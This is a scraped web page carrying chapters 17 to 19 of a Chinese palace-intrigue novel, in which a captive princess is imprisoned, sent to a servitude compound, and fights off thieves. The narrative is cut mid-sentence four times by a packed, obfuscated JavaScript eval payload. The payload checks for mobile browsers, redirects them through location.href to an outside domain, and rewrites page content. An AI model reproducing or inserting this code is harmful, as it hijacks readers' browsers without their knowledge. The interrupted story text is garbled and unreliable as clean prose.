“依你这么说,阿烈与你当真是情深意重?”耶齐格笑意未达眼底,面色愈发冷沉,“可为何你一被挟持,蓟州城的防守就如同铁桶一般,久攻不破?当时的战火皆在东西两侧,蓟州总兵杨廷忠却连夜向朝廷请兵,这难道不是有人泄密?况且……” 阴鸷的眼神将沈绾锁死,冷冷丢下一句:“朕已查明,定北军明明是在你离开拓摩军队两日后才到的蓟州,又是如何劫持的你?” 一连几句质问,瞬间戳破了她所有谎言。沈绾深呼了口气,努力保持镇静。 有办法的,一定还有办法…… “陛下,奴婢所言句句属实,奴婢当日真的是被一伙歹人劫持,他们打着定北军旗号,也许是奴婢那位叔父派出的杀手也不说定。” 沈绾言辞切切,眉眼盈盈间悄然添了许多无辜委屈,“不知是何人向陛下进了这样的谗言,趁着将军出征,竟这样诬陷奴婢?陛下圣明,可一定要帮奴婢做主……” 她话里话外搬出谢翊,恐怕也只有他,才是她如今最大的救命稻草。 “你们中原有句话,不见棺材不掉泪,朕倒要看看你打算装到什么时候?”耶齐格怒火迸发,沉声道:“把人带上来。” 话音刚落,身后传来一阵重重的铁链摩擦声,沈绾微微侧头,只见两名侍卫押着一位蓬头垢面的男人走进来,那人身上的囚服早已被血污浸染,露出大片触目惊心的伤口,显然是被用了重刑。 “你仔细瞧瞧,可认得此人?” 沈绾闻言凝神望去,只觉这人的轮廓和身形都有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599246|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼熟。 对方蓦地一抬眼,她瞬间呼吸一窒,这不是 ——周副将! “瞧着帝姬的样子,想来是认得的?”耶齐格自上方缓缓走下,一步一步,像是沉重的催命符。 “这位壮士可是杨廷忠的忠仆,骨头硬得很,朕使尽了各种方法就是没能让他开口。”他倏然从侍卫腰间抽出利刃,抵在周副将咽喉。 “小帝姬,朕可没有耐心再听你编故事,我们拓摩人眼里向来容不得沙子,更加容不得叛徒。你若是乖乖认罪,朕或许可以饶他一命;如果你还是这般花言巧语,抵死不认,朕念着与阿烈的君臣之义,或许会留你一命,可他,就再也见不到明天的太阳……” 心脏在急剧跳动,指尖掐入皮肉,沈绾却感觉不到任何痛意。 周副将的眼神坚定又决绝,沈绾见他脖子微动,隐隐有自尽的架势,他与杨廷忠都是守卫大胤的忠臣,即便满盘皆输,她也必须要护下他! “奴婢认罪——”她银牙紧咬,急促道:“奴婢有罪,任凭陛下处置……” 她伏地阖眸,耳边传来冷笑:“看来小帝姬对于故国臣子,还是很有感情的。” “来人,将沈绾关进内牢,没有朕的命令,任何人不得探视!” 威沉声音落地,沈绾感到双臂被人架起,粗暴拖出了殿外。冰雨穿过廊下,顷刻打湿眉梢眼睫。 “小殿下!”周副将挣扎转身,双目猩红发出一声嘶哑低吼,却在下一秒被侍卫死死按在地面,动不得分毫。 ** 湿冷的寒风穿过幽暗甬道,将两侧墙壁上的油灯吹得时明时灭。 牢中不知日月,沈绾双手抱膝坐在破草垫子上,静听甬道深处传来风声呜咽。 她不知已经过了多久,只知狱卒送来了几顿难以下咽的饭菜,偶尔抱怨着外面天气一天冷似一天。 牢房阴冷,她身上只穿着来时衣物,被虚汗一浸,再一吹风,竟变得又湿又硬。 身上寒凉砭骨,额头却越发滚烫,她背靠墙角意识时昏时醒,初时还能勉强保持清醒,后来却越发无力。 她不会,死在这吧? 耳边隐约传来锁链碰撞声,接着是一阵急促的脚步声。 “阿鸾!”熟悉的女音唤起她最后一缕意识。 朦胧睁开眼,沈葭满脸泪痕,几步摸索到她身边,伸出手,握紧。 “三姐姐……”沈绾声音低哑,几乎没力气说话。 “丞相,若是探视请尽快,小的在门外把守。”老狱头嘱咐几句,留下两盏油灯,转身离开。 有了灯光,牢内顿时明亮不少,代鄯见沈绾面容虚白,不由眉头紧锁,兀自低语:“完了,这副样子若是让阿烈看到,还不得疯了……” 他迟疑望向沈葭:“她现在这个样子,可有法子治?” 沈葭凝神搭脉,号了半日,蹙眉道:“我也只是略通医术,并不精湛,你们那个皇帝不让请大夫,我也只能试上一试。” 说着,从一旁药箱里取出银针淬火,在沈绾臂上探了探位置,果断刺入穴中。 “阿鸾这是寒症,须得尽快离开这里回去调养。” “离开这里,她也回不去。”代鄯面色严肃,“陛下的意思是……她死罪可免,活罪难逃,即日起,遣去掖幽庭为奴。” 17. 第十七章 锁庭深 “掖幽庭?”沈葭眉头一拧。 那是历来王朝关押罪臣家眷的地方,那里的罪奴每日必须做完规定时辰的苦工,以此作为惩罚。 沈绾病成这样,去了那里不等于送死? “你先别急,”代鄯宽慰道,“我已向陛下请了恩典,她虽被关押在那里,但在病好之前先不会让她做工。只是……明面上咱们不能请大夫,你只能竭尽所能,偷偷地给她治。” 沈葭闻言,眼角又红了几分。 “三姐姐,别哭……”沈绾费力抬起手,抹去沈葭脸上泪痕。 沈葭幼时大病小病不断,与沈绾相比,她才是真正的久病者自成医。加上她本身就对医书感兴趣,久而久之也通了几分医理。只是以往宫廷生活太医众多,她未有过多机会实践,眼下要她独自诊治沈绾,心里多少有些没底。 可是……她们姐妹当下,也只有依靠彼此了! “嗯。”温婉眸光一定,沈葭点头,“阿鸾,你放心,有三姐姐在,你一定不会有事的!” 当晚,沈葭回去开方煎药,又托代鄯偷偷带来了好些棉衣被褥,沈绾服下一剂方子后略感好转,身子恢复了些力气,由于换了干净衣服,四肢也渐渐回了温度。 但更多的还是她的意志力在支撑。 都说人的心境最能决定一个人的病情,而沈绾此刻的求生信念已然达到了顶峰。 她以前从没意识到,自己的身体居然这么脆弱,若她还是当年的小帝姬倒也罢了,如今的她必须使自己尽快好起来,她不能将时间浪费在生病上,许多目标还没完成,不可以倒在半路。 若是那样,就真成了个笑话。 ** 次日,一辆木栅马车停在了内牢大门外。 几日不见天光,她刚出狱门便被太阳光晃了眼,下意识抬手遮挡,却猛地被身后狱卒一推,“磨蹭什么!快点!” 呵,这场景,还真是似曾相识。 老狱头是个识趣的,知道她得了代鄯照顾,忙上前一拍狱卒脑袋,啐骂道:“没心肝的小崽子,好端端的瞎逞什么威风?” 说着,上前打开半合的木栅门,谄媚一笑:“姑娘,走好。” 沈绾瞥了他一眼,自嘲地扯了扯唇角,踉跄几步上了马车。 掖幽庭坐落在宫城的最西边,把守森严,越往里越是幽静。她从前只是听宫人说起,如今亲自来到方觉传言不虚。 这个地方,还真是地如其名,幽暗僻静得可怕。 四周围墙高耸,挡住了大半阳光,依次排列的建筑低矮,密密麻麻挤在一块,狭小又破败。各处洒扫的奴仆身着暗褐色麻衣,一个个低垂着头,步履轻声,如幽灵般穿梭在甬道暗巷。 “以后你就住这。”管事嬷嬷是拓摩人,对待胤人向来没什么好脸色。 她斜着眼将沈绾领到一处矮小的屋舍前,下意识捂了鼻子,“这里可不是养病的地方,虽说你得了陛下恩准,可以暂不做工,可没做活就没饭吃,以后一应吃食用度,你自己想法子解决。” 沈绾屈膝行了个礼,捏着手帕握住了嬷嬷的手,“多谢嬷嬷一路引导,沈绾初来乍到,自会时刻警醒,不给嬷嬷添麻烦,可我尚在病中,不便之处还请嬷嬷多加照顾。” 手绢交迭处,管事嬷嬷察觉到手心多了枚银锭子,眼角的冷意瞬间褪去几分。 “姑娘心里明白就好。后院有口水井,屋里虽没有炭火,可西边林子里多的是树枝枯叶,姑娘就自己想办法吧。” 嬷嬷说的隐晦,可言语间还是告知了饮水取暖的方式,沈绾盈盈一笑,“多谢嬷嬷。” 掖幽庭的屋舍皆是十几人一个通间,因沈绾身子有疾,所以单独给她隔了一间,也正因如此,这间房间逼仄狭小,光线昏暗,几乎没有通风,时值深冬,屋子里冷如冰窖。 沈绾将东西放下,找来麻纸糊上半扇窗子,简单将屋内沉积的灰尘打扫干净,铺上沈葭给她准备的干净被褥,房间看上去才有了几分样子。 三九时节,住在这样的房子里,总要找些方式取暖。 正如管事嬷嬷所说,西边那片小树林,面积虽不大,但的确可以捡到不少枯树枝,她顶着发昏的脑袋不一会儿就捡了不少。 她在室外先用砖头垒出一方面积,将树枝堆积起来烧过一遍,使其半炭化,然后放入铺了灰烬的厚陶盆,再在表层撒上一层热灰,这样便制成了一个简易的炭盆火炉,可持续释放热量且不会有浓烟,正适合沈绾这种逼仄的屋子。 这个方法,还是当初随军,她跟着军中老兵学的。没想到眼下,真能派上用场。 正要将炭盆端进屋,只见一名身形粗壮的女子气势汹汹走过来,指着炭盆横眉怒目:“好大的胆子,竟敢在这里燃火?” 沈绾见来人同样身着褐色麻衣,料想是这里的罪奴,好声解释:“这位姐姐,天气这样冷,我听说这里可以寻些树枝生火取暖,并非有意冒犯。” “掖幽庭禁火,你难道不知道?”女子不依不饶。 沈绾眉睫一动,虽说宫城禁火是惯例,可这林子旁便是沟渠,防火效果极好,而且她方才在捡树枝的地方发现多处未清理干净的灰烬,想来之前便有人在这里烧过木枝。 既然方才管事嬷嬷有意提了一嘴,想必那些管事者若是得了某位罪奴好处,多半也是睁一只眼闭一只眼。 毕竟天气太冷,冒些风险总好过冻死。 “姐姐莫嚷,妹妹知错了。”沈绾用帕子掩住口鼻,轻咳几声,柔声道:“我是今日新来的,还不太懂这里的规矩,这些木炭,就当我孝敬姐姐的,如何?” 沈绾大方将辛苦烧好的木枝让出,脸上笑意不减。都说伸手打笑脸人,何况这样的天气,眼前东西是多么珍贵,那女子再是难以拒绝。 “你倒是个识趣的。”女子讪讪刚欲接过,只听沈绾道:“姐姐慈悲,木炭给了姐姐,这炭盆就让妹妹自己留着吧?” 树枝可以再烧,可盆没了可就难找了。 “行了行了,谁要你的破盆。”女子没好气答了句,一把接过,“我先端回去,你自己回头来后院拿吧。” “哎……”沈绾话音未落,那女子便一溜烟跑了。 沈绾又好气又好笑,眼下手中没了容器,她只好先在泥地里挖了个坑,下面铺上干草,将重新燃好的木枝炭摆在土坑里,周围又用石块垒了圈隔离带,这样等她取回炭盆,便可以直接将“炭火”带回去。 掖幽庭格局简单,罪奴们居住的屋舍大多相隔不远,女子口中的后院离沈绾住处不过百米,这里的房子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599247|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然错落有致,可依旧矮小。 沈绾撑着身子步入院中,一抬眼便看见几名女奴在院中水井边打水。这时节,井水温热,使用起来最好不过。 来时沈葭给她带了不少草药,若要煎药,水源必不可少。沈绾排在队伍后面,见人人手上皆提了把水桶,只有她手上未带容器。 视线不经一转,先前那位拿她木炭女子正好从屋内走出。 “姐姐,”沈绾几步上前,笑着招呼,“我果真与姐姐有缘,刚想着用何物件打些水回去,便瞧见姐姐了。” 那女子知沈绾过来寻盆,倒也没有为难,转身回屋将盆取出。 “你想用这个接水?”女子双手抱前,沈绾立即明白,这盆里因先前盛了木炭,盆底早已黑乎乎一片,想用来接水肯定是要先擦洗干净的。 “无妨。”沈绾接过炭盆,“回头我洗洗就好了。”反正身边就是水井,大不了多打一桶水冲洗。 女子欲言又止,望了眼接水的队伍,转身回屋,片刻后提了把木桶出来,“先用这个。” 沈绾心中一喜,“多……”谢字还没说出口,那女子便神色淡漠关上了门,没有与沈绾多谈的意思。 沈绾没有多想,重新回到队伍,等了半晌,终于轮到自己,正欲提桶打水,忽见一条长臂横了过来。 “懂不懂规矩?”眼前人长脸细眉,皮肤黝黑,个子偏矮,沈绾先前排在队伍后面,压根没发现水井边守着这么一个人。 “什么规矩?”沈绾不明所以。 “哟,来了位新人。”矮个女人上下打量了沈绾一眼,没好气道:“水钱!这里的水井由我负责看管,凡用水者,都要交钱。” 女人的话彻底刷新了沈绾的认知,看来这掖幽庭虽处宫城,却不输牢狱,处处都是要银子的主。 “姐姐见谅,我……出来匆忙,没来得及带银子。可否让我先把水带回去,这水钱回头我给您送来?” “你当我这是小摊饭馆?可从来没有赊账的道理。”矮个女人言语粗俗,不耐烦道:“没钱滚蛋,下一个!” “哎,慢着!”沈绾咬牙,她等了这么半天,总不能空手而归,从头上摸下一根银簪,递过去,“你瞧瞧这个,可能当水钱?” 这是她身上为数不多的饰品。以前在府中谢翊给她备下不少,虽比不上她之前用的,可也都是货真价实的好东西,她平日很少佩戴,唯有这根银簪,是她离府当晚一直带在身上的。 “这个……”矮个女人细细摩挲了一番,果断将银簪揣入怀中,“这破东西也就值一桶水,打完赶紧走!” 沈绾这才明白,原来这水竟是按一桶价格售卖,怪不得人人只提了一把木桶。 望了眼身后紧闭的房门,沈绾心情复杂,提水离开。 先去林子里取回木炭,接着倒水煎药,不知不觉,天已擦黑。屋里并无烛火,沈绾只能借着炭盆火苗收拾残活。 火苗微弱,她在床边坐了会,感到眼眶干热,额头发烫,这是低热未退之症,将煎好的药服下,她爬上床榻准备休息。 随手将包袱摆在床头,无意间一摸,眉头蓦地一皱。 沈绾心中警铃大作,坐起身打开一看,果不出所料,沈葭给她备下的一小包碎银子竟消失得无影无踪。 18. 第十八章 破长风 看来这地方,不仅钱主多,扒手也不少。 心中无奈苦笑,她还真是有够粗心的,竟没有一点防备。眼下没了银子,也不知还能撑几日。 脑袋越发昏沉,许是药效起了,迷迷糊糊合上眼,竟是一夜无梦。 沈葭说她这病要注意休息,昨天费了一日神,今日沈绾便有意减少出门次数,饿了就吃些包里的干粮,渴了就煮些热水。这药方许是有安神的作用,沈绾一日里多半时辰都在昏睡,两日来倒也无人打扰。 这日晚间,忽地刮起一阵疾风,吹得破旧窗子砰砰响。那风声犹如魑魅呜咽,在寂寥无声的冬季尤显可怖。 沈绾紧了紧被子,正想侧身朝里睡去,忽见窗外闪过一个人影,那影子飘飘忽忽,时而高大时而矮瘦,沈绾不敢出声,只得闭眼装睡。 影子在窗外徘徊一阵,趁着浓黑夜色摸索进屋,沈绾一手攥紧被褥,一手暗伸至枕下,摸到了那把硬挺的匕首。 匕首小巧且锋利,可随身携带应对突发状况,这是谢翊送的诸多礼物中,她最喜欢的一件。 她的包袱本就不多,全都摆在床脚,沈绾本以为黑影会寻到床边来,可对方似是在空气中嗅着什么,蹑手蹑脚走到窗前,窸窸窣窣摆弄一阵,又静悄离开了。 确定人已走远,沈绾爬下床燃起火折,走到窗边探查,仔细一看,发现药罐被人移了位置,里面的药渣被倒的一滴不剩。 这是个……偷药贼? 沈绾心生疑窦,她的药包行李都放在床脚,那人不翻包袱却只是偷走药渣,明显是不想惊动她,可是药渣这种东西,偷去能做什么? 她一时想不通,只好作罢。 没想到次日晚,那个偷药贼又来了。这回沈绾留了个心眼,在门口一圈撒上草木灰,待人偷走药渣后,她便起身悄悄跟在对方身后。 这晚止了风,薄云渐散,月华如水,那人动作敏捷,警惕性又高,沈绾远远跟她保持距离,一路来到后院,只见黑影朝四周打量一圈,才推开一扇门进去。 沈绾回头望了眼位置,只觉这房间有些眼熟,似乎是…… 她不动声色退了几步,回到自己房间,心中有了打算。 次日,沈绾寻了个僻静地制了些木炭,将其冷却后放入陶盆,又在上面遮了层布,趁着女奴午间换班的空档,端着炭盆敲响了后院一间房门。 木门从里打开一条缝,露出女子惊愕的侧脸,“你来做什么?” 沈绾举了举手中物件,笑道:“上次姐姐好心借我木桶打水,我今日特来投桃报李。” 那女子瞥了眼沈绾手中的东西,立刻猜出里面是什么,迟疑片刻,将门缝又打开了些,“给我吧。” 她仍旧面容冷淡,毫不客气接过陶盆。 “我还有一事想麻烦姐姐。”沈绾端着盆的手并未松开。 女子拧眉:“什么事?” 沈绾弯眉一笑:“我前几日丢了银钱,上次打的水也快用完了,所以想请姐姐帮个忙。” “你想让我帮你出钱买水?” “正是。” 女子脸色瞬间冷了几分,抽回陶盆边缘的手,“这个我帮不了,请回吧。” 女子正欲关门,只听沈绾幽幽道:“姐姐连日盗我草药,不知用着可好?” 话音刚落,女子脸色一僵,“你……” “姐姐不如请我进去坐坐,”沈绾眉梢微挑,隐有威慑之势,“有些话在外站着说,总归不好。” 女子顿了顿,终于将门打开,“进来吧。” 沈绾跟在身后,刚一踏入门槛,一阵浓浓的霉湿气扑面而来,其中还混着几分熟悉的药香味。 这是间小室,面积与沈绾的房间差不多,只是此刻,那窄小的床榻上竟赫然躺着一人。 原来房间里,住着两个人。 “她是我小妹,同你一样,都是因为染了病才住在这里。” 女子打开一个旧药罐,露出里面药渣,低声解释:“掖幽庭这种地方,长年阴冷潮湿,一旦得了病,根本无药可治,只能等死。” “我看得出,你来历非同寻常。”她望向沈绾,目光尖锐,“第一次见你,便看出你有咳疾,又闻见身上有药气,就想碰碰运气,果不其然……” 沈绾缓步靠近床榻,见上面躺着的女孩身形瘦小,看着约莫十三四岁,小脸蜡黄,一呼一吸间可以听见粗沉的喘气声。 “她得的什么病?” “不知道。”女子摇头,将炭火倒进另一个盆中,燃起了火折子,“已经快一个月了,她们都说是‘鬼打寒’,快没救了。” 沈绾不清楚什么是“鬼打寒”,但之前沈葭提过,掖幽庭长年阴冷,食物粗糙,劳作繁重,里面的罪奴最易湿气入体,寒凝血瘀,有时撑不过就病死了。 所以沈葭特意给她备了一些温中散寒、补气舒经的药材,只是数量不多,眼下用来救人,应该是能应急。 “你先别急,我这就回去取药。”沈绾说着开门要走,女子愕然:“你真的打算救我小妹?” 她们不过萍水相逢,她为何会这么好心? “救人还需要理由?” “可是……”女子显然无法理解她的心思,“你要我帮你做什么?” 沈绾感到好笑:“她患病,我有药,救她只是道义使然,如果你真要报答我什么,喏,我说过的,我没银子买水了。” “……” 沈绾很快取了两包草药回来,女子不敢声张,只能在屋里偷偷煮,不一会,药香弥漫至整个房间。 在与女子交谈中,她得知这姐妹二人一个叫阿青,一个叫阿玉,本是齐州人氏,父亲曾是齐州一名水利同知,当初因监修的河道溃堤,获罪革职,一应家眷都被没入掖庭为奴。 “我父亲一生正直,不可能贪墨公款,当初分明是有人恶意毁堤,可皇帝根本不听父亲辩解,任由贪官审案,最终被砍了头……” 白气氤氲,模糊了阿青面容,沈绾感到心头一窒。看来当初杨总兵说得没错,大胤的肌理也许早已腐烂,这座倾塌的大厦下面不知掩埋了多少冤魂。 阿青见沈绾面色不好,以为她是为丢掉的银子难过,“咱们这种地方,银子固然重要,可没了银子也并非活不下去。” 她指了指窗外:“这院里的水井原本是不收钱的,可后来阿荆,哦,就是前日那个收水钱的,她这人势利贪财,不知使了什么门道认了掖庭令做干爹,自此就在这里耀武扬威起来。你那日出手就是枚银簪,可值不少银子,估计一开始就被她盯上了,不过想从她手里拿回银子,怕是比登天还难。” “姐姐方才说没银子也能有法子?” 阿青苦笑:“这里都是罪奴,每日都要靠做工换取最低的生活用品,比方井水,只要帮阿荆完成她的一部分工作,她就会免费让你打一桶水。” “原来是这样……”沈绾蹙眉低喃。 炭气忽地钻入喉间,气血上涌,她禁不住又咳了起来。 “你自己身子还没好,先回去休息吧。”阿青劝道。 沈绾点头,“也好,明日我再来送药。” 回了屋舍,远远瞧见管事嬷嬷站在门外,手里提着一件不小的包袱。 “姑娘,有人给你送东西来。” 沈绾心头一喜,看来是三姐姐和代鄯托人捎进来的,她朝嬷嬷蹲礼道谢,体贴将人送走。 回屋打开包袱,里面是一些干粮和草药,沈葭还贴心地写上了药方,只是她人不能亲自来诊治,字里行间多少透出担忧。 沈绾将药包收好,余光无意一瞥,床脚的包袱不知何时被人翻过,仔细一看,干粮和药草竟全都不翼而飞! 简直欺人太甚! ** 尽管阿青再三劝阻,可沈绾还是闯进了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599248|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个名叫阿荆的房间。 这是间宽敞的通铺,一应日常摆件俱全,此刻他人皆在外做工,唯有阿荆懒洋洋地躺在榻上,床下笼着炭盆。 见有人闯进来,细长的眉毛不觉一皱,“哪个不长眼……” 粗话刚出口,就见沈绾掩上房门,旁若无人在房内巡视一圈,最后将目光冷冷落在她身上。 “是你?”阿荆警惕地坐起身,“你想做什……” 话音未落,一把寒凉的匕首瞬间抵在喉间,她顿时寒毛一竖。 沈绾步履轻盈,可手上动作却极快。阿荆怎么也没想到,眼前柔柔弱弱的女子,竟会在猝不及防间做出这般惊人的举动。 “东西在哪?” “什、什么东西?” 沈绾没有啰嗦,手里刀刃向里又靠紧一分,眼看快要割破皮肉,阿荆忙哆嗦道:“慢、慢着!” 她看出沈绾眸中的狠厉不像开玩笑,只好妥协:“在、在柜子里。” “打开。”沈绾言简意赅,明明手上做着危险动作,可一双眸子却平静得出奇。 阿荆被她的气势吓到,忙从怀里掏出钥匙将身后柜门打开。 沈绾只一打眼,便看见里面放着的干粮和药包。 她匕首紧握:“银子呢?” “什么银子?” 沈绾弯了弯唇角,笑意冷得如寒夜冰凌:“你应该知道我的来历与旁人不同,你要不要猜一猜,我既敢拿刀抵着你的脖子,会不会在你身上戳几个血窟窿?” 女音轻柔,却如恶魔低语落在耳边。 阿荆瞳仁骤缩,她哪里遇见过这般癫狂的人,眼看要哭出来:“银、银子是我拿的,可、可是我已经送出了。” “送哪了?”寒刃在颈内渗入血丝。 “御、御马司。”阿荆冷汗涔涔,“我、我有个表哥在那当值,他最近急需银子。” 沈绾眼珠轻转:“你平日里应该收了不少好处,难道都送出去了?” 阿荆欲哭无泪,身子不住发抖:“银子拿了还不都是送人……眼看快到年下,各族部落接连进献了不少烈马,御马司赶着驯出一批好马,留着年底表演马戏,我表哥想趁着机会谋个好差事……等他有朝一日升了官,向皇上求个恩典,我也许能离开这鬼地方……” 阿荆被吓得面容惨白,语无伦次,断断续续说了不少。 沈绾原以为她是个多横气的,没想到竟是这般外强中干,手上缓缓卸了力道。 刀刃离开喉咙,阿荆像岸边搁浅的鱼儿骤然回到水里,连呼了几口气,捂着脖子惊恐缩在一边。 沈绾没有理会她,随手扯来一块棉巾,将柜中东西一一取出包好。 “叩叩——”门外乍然响起脚步声,“阿荆姐姐,我们回来了。” 阿荆还未来及应答,沈绾便从里侧打开了门。 “诸位姐姐回来了。”沈绾镇定自若,热情开口:“妹妹名唤沈绾,刚到这里不久,今日特来拜见各位姐姐。” 众人一惊,没想到屋里会有生人。 见沈绾举手投足大方得体,根本不会想到她方才还是个拿着刀刃威胁人的罗刹。 众人见阿荆缩在床脚,二人间的气氛又十分古怪,一时谁都没有说话。 “我方才在屋里同阿荆姐姐聊天,”沈绾不慌不忙,弯眉浅笑,“今日初次见面,没准备什么礼物,妹妹这有几盒药膏,治疗冻疮很是有效,就当作见面礼送给各位姐姐吧。” 沈绾从怀中取出药盒,笑着塞入几名女奴手中,一颦一笑满是亲切。 若是留心便会发现,这里几乎每个人的手上都或多或少会生冻疮,常日洗衣擦地、劈柴打扫,再加上衣衫单薄,寒冬腊月里最是难捱。 眼下有人给她们送药膏,她们自是感到欢喜,接连向沈绾道谢,也自然无人去留意屋中大开的柜门、凌乱的床铺,以及阿荆惊措的脸色。 19. 第十九章 啸烈空 自那日后,阿荆倒是没有来找麻烦。沈绾感到身子略有好转,便也开始做活。 因为要将草药分出给阿玉,所以她的身子恢复得有些慢,早晚仍不时咳嗽。阿青念着这份人情,时常做完自己的活便来帮沈绾。 滴水成冰的季节,一排身着褐布麻衣的女奴上午坐在墙角洗衣,下午擦地劈柴。初时沈绾只是做着普通杂役,可有一日,掖庭令突然下令,让她去贱役房做工,这是对待掖庭一些不听话的罪奴施行的特殊惩罚劳役。 看来阿荆丝毫没有忘记对她的报复。 天空不时落下冰粒子,砸在脸上一片生疼。阿青不知从哪找来一件棉絮四渗的披风,紧紧裹在身上,一双大脚踩在白花花的冰地上,沙沙作响。 刚迈进贱役房,就见沈绾吃力地将洗刷干净的马桶归置好。 可她皮肉娇嫩,即便身边有伤药,也抵不上一双玉手日夜浸在冰水里,早已被冻得不成样子。 “我来。”阿青几步上前接过沈绾手上重物,手脚麻利地开始干活。 “阿青姐姐,你不用这样。”沈绾按住她的手,“你白日也做了一天的活,晚上还要照顾阿玉,不必抽空过来帮我。” 阿青不听,只闷头干活,“我不愿欠人人情,你肯救我妹妹,我记在心里。” 沈绾不再说什么,只云淡风轻地笑了笑,阿青见状感到奇怪:“你这人真有意思,这种情境还能笑得出来?难不成你打算一直在这做下去?” 沈绾解开鼻头塞的棉巾,吸了几口新鲜空气,顿感畅快,“既来之则安之,有些时机尚需静待。” 阿青不明白她话中含义,将身上披风递给她,提起手边水桶冲洗秽物。 “你到底是什么来历?如果背后真的有人能救你,就赶快想办法离开这,你唬得了阿荆一时,可唬不了长久,她现在敢叫掖庭令把你赶到贱役房,下一回就可能要了你的命。” “我……”沈绾刚要答言,忽听“砰”地一响,五彩碎光在天空炸开,一道接一道,照亮半面夜空。 “今夜除夕。”阿青呵气成雾,“役房监工散值早,做完这些咱们也回去吧。” “好。”沈绾应道,忽然想起什么,眸光几不可察地黯了几分。 除夕?没想到她回故土的第一个新年,竟是在掖庭度过。 她还记得有个人出征前,她曾答应过,要等他回来一起过年。掖幽庭与世隔绝,消息闭塞,她已经很久,没有他的消息了…… “阿鸾……”熟悉的女音穿过寒冽空气,落在沈绾耳畔。 沈绾蓦然回头,只见沈葭一身小厮装扮,扶着门框站在院外。 “三姐姐……”一阵温热涌上心头,沈绾小跑上前,下意识想要牵住沈葭,可想到自己冰凉不堪的手,又不动声色缩了回去。 冰粒不知不觉化作鹅毛大雪,飘落在颈间耳侧,激得人一颤。 代鄯一身暗纹氅衣,手持骨伞站在一侧,替沈葭遮挡住不少风雪,却在看到沈绾模样的瞬间,倒抽了口凉气。 凌乱的头发、脏污的衣衫、肿烂的手背……他感到后颈隐隐发凉,几乎已经想象到谢翊发狂的表情。 沈葭敏锐察觉到身侧错乱的呼吸,心间浮起担忧:“阿鸾,你还好吗?” “我一切都好,”沈绾朝代鄯摇了摇头,安慰道,“三姐姐,大人,你们怎么会来?” 代鄯朝沈绾身后望了眼,沉声道:“这里不是说话的地方。” 沈绾立即会意,开口让阿青先回去,阿青很是知趣,利索处理完手上活计干脆离开。沈绾带着二人回到住处,点燃她昨日从管事嬷嬷那里求来的半截蜡烛,昏暗的室内才有了一丝亮光。 “沈葭求了我好几日,趁着今夜除夕,陛下例行宫宴,我这才找机会带她进来。”代鄯环视着逼仄阴湿的房间,平日和煦如春风的脸色此刻愈发难看,“你……” 沈绾正欲搭话,忽被沈葭按住了手腕。 “嘶——”不小心扯到伤口,沈绾没忍住轻呼出声。 沈葭动作稍滞,不容分说探上脉搏,空洞清凌的眸子渐渐浮起水雾,“阿鸾,你要瞒我到什么时候?” 沈绾眼眶微红,上前将她抱住,“三姐姐,对不起……” 沈葭轻叹:“我知道你不想让我担心,可你身子并未大好,到底在硬撑什么?”温婉的眉间少见有了怒气。 沈绾连连道歉,简单将救治阿玉的事说了遍,沈葭才微微缓和了脸色。 “你这性子,从小到大一直没变……” 代鄯眉头紧锁,下定决心道:“阿烈因战事耽搁,一时半刻还回不来,不过你放心,我一定尽快想办法救你出去。” 烛火摇曳,在沈绾眼底映出点点微光,“大人,你可知御马司近日是否欠缺人手?” 代鄯一怔,不知她话中用意,“正是,陛下喜好马术,各部进贡的烈马还有不少尚未驯化。” 沈绾轻勾唇角,一双杏眸闪着异样光彩:“眼下我倒是有个自救的法子,不知大人可愿帮忙?” “……说来听听。” ** 东风猎猎,彩旗飞扬。 新年伊始,驯马场四周朱栏上积雪未扫,远远看去,宛如镶了一道白玉银边。 耶齐格身着玄狐大氅,端坐鎏金御座之上,锐利的鹰眸紧紧注视着场中的蒸腾景象。 只见十几名骑手身着劲装,个个摩拳擦掌,都想要在今天大展身手。 随着驯马监一声令下,一匹又一匹野马接连放出围栏,骑手们纷纷上前勒绳上马,使出浑身解数勒住马缰,其间表演的特技精彩热闹,引得众人连连拍手叫好。 眼看场中气氛升至高潮,一匹通体如墨的西域烈马前蹄高扬,长嘶破空,如闪电般驰入场中。 在场观赛的皆是拓摩贵族,大多在马背上长大,一见便知是匹绝世好马,一时都来了兴致。 骑手们依次上前想要施展身手,可没等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 